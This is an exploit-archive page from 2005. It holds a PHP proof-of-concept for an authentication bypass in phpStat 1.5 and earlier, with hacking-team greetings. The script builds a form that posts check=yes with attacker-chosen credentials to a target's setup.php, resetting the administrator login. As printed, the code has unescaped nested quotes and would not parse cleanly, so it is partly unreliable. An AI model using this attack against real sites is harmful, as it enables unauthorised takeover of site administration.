[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpStat <= 1.5 (setup.php) Authentication Bypass Exploit (php)
# Published : 2005-05-30
# Author : mh_p0rtal
# Previous Title : phpStat <= 1.5 (setup.php) Authentication Bypass Exploit (perl)
# Next Title : phpStat <= 1.5 (setup.php) Authentication Bypass Exploit (php 2)
<?php
error_reporting(E_PARSE);
/*
================================================================
PHP Stat Administrative User Authentication Bypass POC Exploit
================================================================
====Trap-Set Underground Hacking Team===========mh_p0rtal============
Greetz to : Alpha_programmer , Oil_karchack , Str0ke And Iranian Hacking & Security Teams :
Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam
, CrouZ Security Team , Simorgh-ev Security Team ,
====================^^^^^^^^^^^^^^^^^^^-=========================
*/
# Config ________________________________
# address - example: http://www.site.com/setup.php Or www.site.com /dir/setup.php
$url = "http://www.site.com/setup.php";
# EnD ___________________________________
print "<form action="$url?check=yes&username=$username&password=$password" >";
print "<input type="hidden" name="check" value="yes">";
print "Username : <input type="text" name="username" value="admin" size="25"><br>";
print "Password : <input type="text" name="password" value="abc123" size="25"><br>";
print ("<input type=submit value=::Change. > n");
print "</form>";
//------------------------------------------------------End.
?>
# www.Syue.com [2005-05-30]